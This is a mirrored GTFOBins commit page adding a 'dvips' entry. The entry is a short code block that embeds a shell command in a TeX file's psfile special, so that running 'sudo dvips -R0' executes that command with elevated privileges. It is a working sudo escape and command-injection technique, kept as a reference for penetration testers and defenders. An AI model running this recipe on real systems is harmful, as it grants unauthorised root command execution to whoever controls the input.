mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
85010470b2
Add dvips.
9 lines
355 B
Markdown
9 lines
355 B
Markdown
functions:
|
|
sudo:
|
|
- code: |
|
|
echo "\documentclass[12pt]{article} \begin{document}" > file.tex
|
|
echo '$$\hbox to5cm{\vbox to5cm{\vfil\special{psfile="`PROGRAM > /tmp/result"}}\hfill}$$' >> file.tex
|
|
echo "\end{document}" >> file.tex
|
|
tex -interaction=nonstopmode file.tex && sudo dvips -R0 file.dvi
|
|
cat /tmp/result
|